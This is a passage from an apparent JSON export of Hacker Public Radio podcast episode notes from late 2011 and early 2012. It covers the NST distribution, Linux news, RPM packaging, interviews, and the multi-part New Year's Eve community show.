    Installing NST is as simple and easy as any other major Linux distribution out there today. After downloading the DVD image burn it out to disk, then pop it in and and boot up. You can choose to either boot into console or graphical mode, recommend the graphical mode even though it is GNOME 3. If your hardware will not support GNOME 3 you can opt to fall back on Classic GNOME. After bootup you will see the default live user enter the password nst2003 and let the desktop load. Once the desktop has fully loaded you can either take it for a test drive or jump right into the install. In order to install it you have to go to Applications > System Tools > Install NST To Hard Drive. If you have installed any Linux distribution before you will find no surprises here. When the installation is complete, or the live version is up and running, you can start experimenting with the tools. There are hundreds of available tools here to help you monitor, secure, analyze, and do practicly anything else on your network.

    \n
    \n

    Carrier IQ hit with privacy lawsuits as more security researchers weigh in

    \n
    \n

    Carrier IQ [...] has been hit with two class-action lawsuits from users worried about how the company’s software tracks their smartphone activity. Carrier IQ, of course, professes its innocence. But the company has also received some public support from security researchers who say Carrier IQ’s software is only tracking diagnostic information and likely is not violating user privacy.

    \n
    \n
    \n

    SFLC Asks the US Congress for a DMCA Exception

    \n
    \n

    The Software Freedom Law Center has filed a request with the US Librarian of Congress for a DMCA exception that would allow users to freely decide what software they can install and uninstall on devices they own.

    \n
    \n
    Arduino 1.0 Released
    \n

    A long time coming, this release brings small but important changes to clean up the Arduino environment and language – as well as adding lots of additional features. Updates to the environment include a new file extension, toolbar icons, and color scheme as well as a progress bar on compilation and upload. The language changes include modifications to the Serial class, addition of DHCP and DNS support to the Ethernet library, a new SoftwareSerial library, multi-file support in the SD library, modifications to the Wire library and UDP class, etc.

    \n
    \n
    Gnome Shell Extensions Website Launched
    \n

    The site, which is primarily provided for GNOME 3.2 users, only works in Firefox presently. Support for additional browsers is planned. Amongst the extensions already on offer are an old school ‘GNOME Applications Menu’, ‘Frippery Bottom Panel’ (which adds a window switcher panel to the bottom of the screen), and a ‘Places Status Indicator‘.

    \n
    \n

    Outtro Music:
    Time: 53:52
    Jamendo.com
    Dropping out of School by Brad Sucks

    ","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"SMLR,Sunday Morning Linux Review","version":0,"downloads":2077,"valid":1}, {"id":880,"date":"2011-12-15","title":"Handbook for the Criminally Insane","duration":3695,"summary":"A discussion of \"Handbook for the Criminally Insane\" by Brian Holtz","notes":"

    \nIn this episode of the HPR audio book club Broam, resno, Dann Washko, Integgroll, and pokey discuss the podiobooks.com presentation of Handbook for the Criminally Insane written and read by Brian Holtz. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. This book was met with polarizingly mixed reviews. Some thought it was a light hearted horror comedy in the spirit of Bruce Campbell while others thought it was something less entertaining.\n

    \n

    \nYou can download this audiobook for free (or voluntary donation) from https://www.podiobooks.com/title/handbook-for-the-criminally-insane \n

    \n

    \nDuring this show the hosts also discuss alcohol beverages. \nInteggroll was drinking Jepsom's Malort, which he says pairs very nicely with \"The Handbook\"\n

    \n\n\n\n

    \nOur next audiobook will be Dead Hunt by Kenn Crawford. It is available at podiobooks.com The direct link is:\nhttps://www.podiobooks.com/title/dead-hunt\n

    \n

    \nIf you enjoy this episode of HPR, you can find more podcasts by our hosts at:\n

    \n\n\n

    \nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\n

    \n

    \nSincerely,
    \nThe HPR_AudioBookClub\n

    \n

    P.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.

    \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"audiobook,HPR AudioBookClub","version":0,"downloads":2351,"valid":1}, {"id":881,"date":"2011-12-16","title":"Intel Atom processor","duration":377,"summary":"Details of this ultra-low-voltage processor","notes":"

    In todays show JWP gives us the low down on the Intel Atom processor

    \n\"Atom\n

    \n

    Intel Atom

    \n

    \nFrom Wikipedia, the free encyclopedia
    \nhttps://en.wikipedia.org/wiki/Intel_Atom\n

    \n

    \nIntel Atom is the brand name for a line of ultra-low-voltage IA-32 and x86-64 CPUs (or microprocessors) from Intel, designed in 45 nm CMOS and used mainly in netbooks, nettops, embedded application ranging from health care to advanced robotics and Mobile Internet devices (MIDs). On December 21, 2009, Intel announced the next generation of Atom processors, including the N450, with total kit power consumption down 20%. Intel Atom processors are based on the Bonnell microarchitecture.\n

    \n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Intel,Intel Atom","version":0,"downloads":2170,"valid":1}, {"id":882,"date":"2011-12-19","title":"RPM format","duration":2311,"summary":"The RPM package format","notes":"

    Klaatu continues his three-part series on packaging applications for GNU Linux and BSD. In this second episode, he covers the RPM format and howto use rpmbuild to create both binary and source RPM packages. He uses SigFLUP's yesplz as an example again, so be sure to grab the source if you'll be following along.

    \n\n

    Fedora Project RPM HOWTO

    \n\n

    Maximum RPM at rpm.org

    \n\n

    yesplz.spec

    \n\n

    Get this episode in ogg vorbis courtesy the GNU World Order.

    ","hostid":78,"series":63,"explicit":0,"license":"CC-BY-SA","tags":"package management,RPM,rpmbuild","version":0,"downloads":2357,"valid":1}, {"id":883,"date":"2011-12-20","title":"Dan Lynch interview","duration":1606,"summary":"An interview from OggCamp 2011","notes":"

    \nToday we give you another of the interviews from OggCamp where we interview Dan Lynch. Here's his bio from his own site https://danlynch.org/\n\n

    \n

    Dan Lynch

    \n

    \"MyHello and welcome, I'm Dan. A writer, musician, developer, broadcaster and hopeless geek from Liverpool in the UK. This site is the hub of everything I do online, or at least it's supposed to be but it still needs work. I'm committed to Free & Open Source Software and Creative Commons, I write and broadcast about both, mainly through the Linux Outlaws and Rathole Radio podcasts. You may also know me as a host of FLOSS Weekly on the TWIT Network.

    \n

    Rathole Radio is my music show where I play a wide selection of the best music on the net. I interview artists, tell silly stories, have live votes and even play songs myself. The music is very eclectic because I believe that all styles have good and bad within them. I want people to open their minds and not pigeon-hole everything. I only play one \"style\" of music, stuff I like.

    \n

    Linux Outlaws is a weekly show where I discuss the latest happenings in the Open Source technology world and with my German co-host and friend Fab. It's grown beyond anything we could have imagined. We get tens of thousands of downloads per show, it's taken me to different parts of the world and allowed me to meet and share time with many of my technology heroes. I'm very lucky. Below you will see the latest content from my blog and both these podcasts. You can also use the links on the menu to find more specialised information about my music and other things.

    \n

    I sing and play guitar in a band called 20lb Sounds. We recently launched our website with free music downloads and we hope to build up a community there. I'm calling it the 20lb Army, so sign up and join the fun :)

    \n

    \"\"I organised a large Free Software and Free Culture event in Liverpool called OggCamp10. Strange name I know but the site explains all that. It took place on 1st and 2nd of May 2010, we were joined by many great FOSS fans and developers from around the world. Not only that but on Friday April 30th 2010 I also ran a successful Rathole Radio gig with David Rovics and Attila The Stockbroker to kick the weekend off.

    \n

    I support the Open Rights Group and I'm very concerned about digital rights and political matters in the UK. I'm a proud member of both Liverpool LUG and Chester LUG and regularly attend meetings at both. Is this two timing or just a real commitment to FOSS? I'll let you decide ;)

    \n

    Thanks for visiting. Feel free to hang around a while and put your feet up.

    \n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp,interview","version":0,"downloads":2141,"valid":1}, {"id":884,"date":"2011-12-21","title":"Cross Platform Streaming","duration":2566,"summary":"A visit to the Knightwise podcast: the Knightcast","notes":"

    Welcome to syndicated Thursday on Hacker Public Radio

    \n

    \nEach Thursday we play Syndicated creative commons content from around the web. If you know of some creative commons material that you would like to bring to the attention of the community then send an email to admin. Today we are featuring the https://www.knightwise.com/knightcast-podcast/889-the-knightcast-kc0057-cross-platform-streaming\n

    \n

    \n\"Logo\"\nThe knightcast is an on - line radio show (or POD-cast) that can be downloaded for free via itunes or any other podcast-client. You can also listen on the website.for YOU and not the other way around. We talk about technology , tips andIt deals with the every day adventures of a modern day cyber-citizen. In the Knightcast we talk about life and technology.. and most importantly how to use that technology to your fullest advantage. Integrating high tech into your life in such a way that technology WORKS tricks .. and how to use it. For example : How to turn your USB-stick into a mobile office .. How to use your laptop to get on line everywhere... How to use the internet to your fullest advantage and so on.\n

    \n

    Cross Platform Streaming

    \n

    \nThis week we deep dive into the art of streaming all of your media across your home network using multiple operating systems. We take a look at DLNA servers and clients, Amahi Linux configurations and Virtual Lion servers to stream and sync all of our content to all of our devices , no matter what OS they are on.\n

    ","hostid":111,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"streaming media,DLNA,Amahi","version":0,"downloads":2129,"valid":1}, {"id":885,"date":"2011-12-22","title":"Redo Backup and Recovery 1.0.1.","duration":328,"summary":"A free, open source, backup and recovery tool","notes":"

    \nThis is a short podcast on Redo Backup and Recovery 1.0.1.\nwww.redobackup.org\n

    \n\n

    Easy Backup, Recovery & Bare Metal Restore

    \n

    \n\"How\n

    \n

    Redo Backup and Recovery is so simple that anyone can use it. It is the easiest, most complete disaster recovery solution available. It allows bare-metal restore. Bare metal restore means that even if your hard drive melts or gets completely erased by a virus, you can have a completely-functional system back up and running in as little as 10 minutes.

    \n\n

    All your documents and settings will be restored to the exact same state they were in when the last snapshot was taken. Redo Backup and Recovery is a live CD, so it does not matter if you use Windows or Linux. You can use the same tool to backup and restore every machine. And because it is open source released under the GPL, it is completely free for personal and commercial use.

    \n\n

    More Features, Less Complex

    \n

    Redo Backup has the most features coupled with the simplest, most user-friendly interface:

    \n
      \n
    • Easy graphical user interface boots from CD in less than a minute
    • \n
    • No installation needed; runs from a CD-ROM or a USB stick
    • \n
    • Saves and restores Windows and Linux machines
    • \n
    • Automatically finds local network shares
    • \n
    • Access your files even if you can't log in
    • \n
    • Recover deleted pictures, documents, and other files
    • \n
    • Internet access with a full-featured browser to download drivers
    • \n
    • Live CD download size is only about 200MB
    • \n
    \n

    Links

    \n\n","hostid":135,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"backup,restore,recovery","version":0,"downloads":2198,"valid":1}, {"id":886,"date":"2011-12-26","title":"Product lifecycle management (PLM)","duration":461,"summary":"An discussion with Alister Munroe from OggCamp 2011","notes":"

    \nIn today's show Ken has a discussion with Alister Munroe about product lifecycle management at OggCamp 11

    \n\n

    Product lifecycle management

    \n

    From Wikipedia, the free encyclopedia

    \n

    A generic lifecycle of products

    \n

    \n\"PLM\"\nIn industry, product lifecycle management (PLM) is the process of managing the entire lifecycle of a product from its conception, through design and manufacture, to service and disposal. PLM integrates people, data, processes and business systems and provides a product information backbone for companies and their extended enterprise.\n

    \n

    \nProduct lifecycle management (PLM) should be distinguished from 'Product life cycle management (marketing)' (PLCM). PLM describes the engineering aspect of a product, from managing descriptions and properties of a product through its development and useful life; whereas, PLCM refers to the commercial management of life of a product in the business market with respect to costs and sales measures.\n

    \n

    \nProduct lifecycle management is one of the four cornerstones of a corporation's information technology structure. All companies need to manage communications and information with their customers (CRM-customer relationship management), their suppliers (SCM-supply chain management), their resources within the enterprise (ERP-enterprise resource planning) and their planning (SDLC-systems development life cycle). In addition, manufacturing engineering companies must also develop, describe, manage and communicate information about their products.\n

    \n

    \nOne form of PLM is called people-centric PLM. While traditional PLM tools have been deployed only on release or during the release phase, people-centric PLM targets the design phase.\nAs of 2009, ICT development (EU-funded PROMISE project 2004–2008) has allowed PLM to extend beyond traditional PLM and integrate sensor data and real time 'lifecycle event data' into PLM, as well as allowing this information to be made available to different players in the total lifecycle of an individual product (closing the information loop). This has resulted in the extension of PLM into closed-loop lifecycle management (CL2M).

    \n

    Links

    \n\n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"product lifecycle management,PLM","version":0,"downloads":2076,"valid":1}, {"id":887,"date":"2011-12-27","title":"init()","duration":1675,"summary":"NYbill and Windigo and their Linux stories","notes":"

    Gun-toting chimp NYbill and\ncat-riding neer-do-well Windigo\ndetail their first steps into Linux, from humble beginnings to current day.\n

    \n

    Links

    \n\n","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Yggdrasil","version":0,"downloads":2714,"valid":1}, {"id":888,"date":"2011-12-28","title":"EMACS Help Sources","duration":243,"summary":"Where to get help on using EMACS","notes":"

    \nIn today's show we get proof that Klaatu lured another over to the dark side. So much so that JWP has gathered some resources for you on where you can get help on EMACS they are all on his site at https://jwp1.weeman.org/

    \n\n

    \n\n

    \n\n

    links

    \n\n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"EMACS","version":0,"downloads":2103,"valid":1}, {"id":889,"date":"2011-12-29","title":"2011-2012 New Year's Eve Show Announcement","duration":246,"summary":"Preparing for the upcoming New Year's Eve show","notes":"

    \nThe Hacker Public Radio LIVE New Year's Eve event will be streamed live from noon to midnight EST This Saturday December 31st. That's UTC 2011, Dec 31, 1700 hours to 2012, Jan 01, 0500 hours.\nAll HPR contributors and listeners are welcome to call in via mumble and discuss their favorite HPR shows and topics of 2011, or bring a topic that you think would help us to have a good show. We'll be taking calls up to the limit of the server. We'll be streaming the whole thing, as well as distilling it down to one or more podcasts for the rss feed.\n

    \n

    \nWhether you've contributed to HPR or not, please consider calling in and helping us to make this a great HPR community event.\n

    \n

    \nMumble server: 174.123.227.204 Port: 43556 Password: OSMPMumble\n

    \n

    \nFor callers, there will be a seperate room to test your setup before jumping in the live room just to avoid doing on air mic checks. Please check your sound there before jumping into the main room. Please set compression to the 31.8Kb/s speex codec for compatibility (NOT the CELT codec), and use push to talk.\nStream Address: Mirrors to be announced. We have at least one high bandwidth offer so far. \n

    \n

    \nThank you for listening.\n

    \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2094,"valid":1}, {"id":890,"date":"2011-12-30","title":"Where's my flying car !","duration":1303,"summary":"What happened to the promise of science and technology?","notes":"

    In today's show Mr Gadgets asks the questions that needs to be answered. \n

    \n

    \nHe reminds us that a New Year is about to begin and a easy new year resolution to achieve is contributing to HPR\n

    \n

    \nhttps://hackerpublicradio.org/contribute.php\n

    ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"home automation","version":0,"downloads":2114,"valid":1}, {"id":891,"date":"2012-01-02","title":"2011-2012 Hacker Public Radio New Year's Eve Part 1/8","duration":6779,"summary":"HPR New Year 2012 #1","notes":"

    Hacker Public Radio New Year's Eve Part 1

    \n

    \nThis is the first part of the Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n

    \n\n

    \nPipeMan recommends the Behringer U-CONTROL UCA202 has 2 in 2 out rca ports for $40 or so.
    \n\"Behringer
    \nhttps://www.behringer.com/EN/Products/UCA202.aspx
    \nFor a mixer he recommends the Behringer XENYX 802 going for $38 on amazon
    \n\"Behringer
    \nhttps://www.behringer.com/EN/Products/802.aspx\n

    \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2426,"valid":1}, {"id":892,"date":"2012-01-03","title":"2011-2012 Hacker Public Radio New Year's Eve Part 2/8 (A Bit About Fedora)","duration":4773,"summary":"HPR New Year 2012 #2","notes":"

    Hacker Public Radio New Year's Eve Part 2 (A Bit About Fedora)

    \n

    \nThis is the second part of the Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n

    \n

    Fedora Review

    \n

    \nGot to RPM Fusion to get all the evil proprietary stuff.\nhttps://rpmfusion.org/Configuration/\n

    \n

    \nFrom the console run \"yum update\" and accept the keys\n

    \n

    \nThen run \"yum install synergy openssh-server audacity-freeworld ffmpeg sox mplayer inkscape vlc vim firefox poppler-utils wget sshfs kdiff3 terminator kid3 speex-tools filezilla gimp hpijs kate kdiff3 kdirstat \n

    \n

    \n# systemctl start sshd.service\n# systemctl enable sshd.services\n

    \n

    \nFirewall restart\n

    \n

    \nFollow these instructions to get the vpn working https://kenfallon.com/how-to-install-checkpoint-ssl-extender-vpn-snx-under-fedora-16/\n

    \n

    \nFollow these instructions to get the citrix working https://kenfallon.com/installing-citrix-on-fedora-14/\n

    \n

    \nChromium\nhttps://fedoraproject.org/wiki/Chromium\n-\nFlash\nhttps://get.adobe.com/flashplayer/\n--\nskype.com download linux fedora install\n

    ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2262,"valid":1}, {"id":893,"date":"2012-01-04","title":"2011-2012 Hacker Public Radio New Year's Eve Part 3/8 (Everybody loves Crunchbang... except Klaatu)","duration":3040,"summary":"HPR New Year 2012 #3","notes":"

    Hacker Public Radio-NYE Part 3 (Everybody loves Crunchbang... except Klaatu)

    \n

    \nThis is the third part of the Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n

    \n

    Philip Newborough (aka corenominal) project lead for CrunchBang Linux and their community manager Rebecca Newborough join the session. We interviewed them back in hpr0873\n

    \n

    \nCrunchBang is a Debian GNU/Linux based distribution offering a great blend of speed, style and substance. Using the nimble Openbox window manager, it is highly customisable and provides a modern, full-featured GNU/Linux system without sacrificing performance.

    \n

    \nIn September 2011, Philip gave up paid employment to concentrate on personal projects and is now working full-time on CrunchBang Linux. During the interview he mentioned that he couldn't afford to FOSDEM so if you want you can throw him a few credits over at https://crunchbang.org/donate\n

    \n\n

    Links

    \n

    \nhttps://crunchbang.org/donate
    \nhttps://www.fosdem.org/2012/
    \nhttps://hackerpublicradio.org/eps.php?id=0873/
    \nhttps://crunchbang.org/
    \nhttps://www.ubuntu.com/
    \nhttps://openbox.org/
    \nhttps://www.xfce.org/
    \nhttps://technologyserved.com/
    \nhttps://en.wikipedia.org/wiki/CrunchBang_Linux
    \nhttps://www.debian.org/
    \n

    \n
    \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2376,"valid":1}, {"id":894,"date":"2012-01-05","title":"2011-2012 Hacker Public Radio New Year's Eve Part 4/8 (Mrs Corenominal brings the naughty)","duration":5577,"summary":"HPR New Year 2012 #4","notes":"

    \nMay not be safe for work
    \nThis is episode four of a eight part Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n


    \n

    \nThis segment started with a discussion on accessibility. We are looking for a way to convert the audio to text so that deaf/hard of hearing people can enjoy our content. That lead to a discussion on Text to speech and that if you are uncomfortable or unable to record a show for HPR, then there are loads of people who will narrate a scrip for you.\n

    \n

    \nThe discussion turned to the question of how to pick topics for HPR and while the advice is to pick a topic that you're excited about you can always look at the Requested topics section of HPR at https://hackerpublicradio.org/contribute.php#requested_topics. If there is something that you would like to hear then mail the mailing list at hpr@hackerpublicradio.org (which you can join at https://hackerpublicradio.org/maillist ) or just email admin@hackerpublicradio.org and we'll add it to the Requested topic page.\n

    \n

    \nFor the record when we say topic we are not talking about the topic choclate bar.
    \nhttps://en.wikipedia.org/wiki/Topic_(chocolate_bar)\n

    \n

    \n\"Topic\n

    \n

    \nAfter discovering that HPR has a explicit tag in iTunes (https://www.apple.com/itunes/podcasts/specs.html#explicit) the conversation took a turn to how the topic of Adult content and that there are two sides to the story.
    \nhttps://hackerpublicradio.org/eps.php?id=0069 There's Pr0n on them there internets!
    \nhttps://hackerpublicradio.org/eps.php?id=0586 Miscellaneous Radio Theater 4096- The Internet is For Porn\n

    \n

    \nThis lead to the question of whither government censorship will force developments in how the Internet is used. This brought up mesh networks (we had a discussion in https://hackerpublicradio.org/eps.php?id=0069 with Juergen Schinker open wireless network) and how the Chaos Computer Club had a presentation on the Hackerspace Global Grid. From their FAQ \"We want to build a distributed network of ground stations to receive satellite communications. The first step is establishing a means of accurate synchronization for the distributed network. Next up are building various receiver modules (ADS-B, amateur satellites, etc) and data processing of received signals. A communication/control channel (read: sending data) is a future possibility but there are no fixed plans on how this could be implemented yet.\"\nhttps://shackspace.de/wiki/doku.php?id=project:hgg Hackerspace Global Grid. Sounds a bit like an open version of the Iridium satellite constellation\nhttps://en.wikipedia.org/wiki/Iridium_satellite_constellation Iridium satellite constellation
    \n

    \n

    \nAfter a discussion on Google+, the topic came on whither you needed to encode all 3 audio formats for HPR. The answer is no, not if you don't want to. If you do then you can download the script that Code Cruncher made from https://hackerpublicradio.org/incoming/processing/prep_audio.sh. That said it's enough to upload the show in almost any format and we'll convert it.\n

    \n

    \nTo round off the segment was a discussion of the https://theflatearthsociety.org/ who argue that \"The Flat Earth model is a belief that the Earth's shape is a plane or disk.\" (source wikipedia https://en.wikipedia.org/wiki/Flat_Earth_Theory.
    \n.... Which inevitably lead to the https://en.wikipedia.org/wiki/Turtles_all_the_way_down and of course that had to lead to https://www.terrypratchett.co.uk/ Terry Pratchett. At that point the Mumble server gave up and decided to go cry in a corner.\n

    \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2259,"valid":1}, {"id":895,"date":"2012-01-06","title":"2011-2012 Hacker Public Radio New Year's Eve Part 5/8 (Funding Free Culture)","duration":5918,"summary":"HPR New Year 2012 #5","notes":"

    \nThis is episode five of a eight part Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n


    \n

    \nThe discussion focused on how you can support free software and free culture with many paying more for \"Free\" software than they ever had for proprietary software. Many feel they pay what the can when they can.\n

    \n

    \nThe discussion move on to how artists can make a living.
    \nShould we draw the line between digital replication and physical replication as copyright infringement, although illegal, is not stealing. Not every download is a lost sale and the argument was made that in some cases \"piracy\" promotes the use of the software. There was much talk of the continual increase of the copyright terms.\n

    \n

    \nTime was then devoted to how artists could be compensated for their art and several examples were brought up of alternative means of generating revenue by cutting out the record labels and other middle men. \n

    \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2196,"valid":1}, {"id":896,"date":"2012-01-08","title":"2011-2012 Hacker Public Radio New Year's Eve Part 6/8 (The Unix Fight and Thank You Kevin)","duration":2449,"summary":"HPR New Year 2012 #6","notes":"

    \nThis is episode six of a eight part Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n


    \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2167,"valid":1}, {"id":897,"date":"2012-01-10","title":"2011-2012 Hacker Public Radio New Year's Eve Part 7/8 (The Grand Finale)","duration":6209,"summary":"HPR New Year 2012 #7","notes":"

    \nThis is episode seven of a eight part Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n


    \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2253,"valid":1}, {"id":898,"date":"2012-01-11","title":"2011-2012 Hacker Public Radio New Year's Eve Part 8/8 (The After Show)","duration":5806,"summary":"HPR New Year 2012 #8","notes":"

    \nThis is episode eight of a eight part Hacker Public Radio New Year's Eve event and you can expect more of them all week long.\n

    \n\n

    Thanks to:

    \n\n
      \n
    • PipeManMusic of the Open Source Musician's Podcast for the Murmur server, and audio streaming
    • \n
    • Tracy Holtz for stream mirror
    • \n
    • Dann Washko of The Linux Link Tech Show for stream mirror
    • \n
    • cobra2 for stream mirror
    • \n
    • John Neusteter for stream mirror
    • \n
    • KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.
    • \n
    • Ken Fallon for being Ken Fallon
    • \n
    • The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone.
    • \n
    \n\n

    \nI was so wrapped up in the actual show, that it didn't occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I'll be glad to thank you publicly and properly.
    \n-pokey\n


    \n

    \nHowdy folks, this is FiftyOneFifty.
    \nWhat you are about to hear is the result of me starting a mixdown recording in Mumble when Pokey said he was about ready to stop recording and go to bed. While it's all pretty tame, it's not entirely safe for work. I started recording sometime after midnight Central Time and the original file shows we talked for another two hours and fifteen minutes (deleting the pauses brings it down to about an hour and a half). At the end it's just me and Cobra2, proving that as in real life, I never know when it's time to gracefully leave a party :)
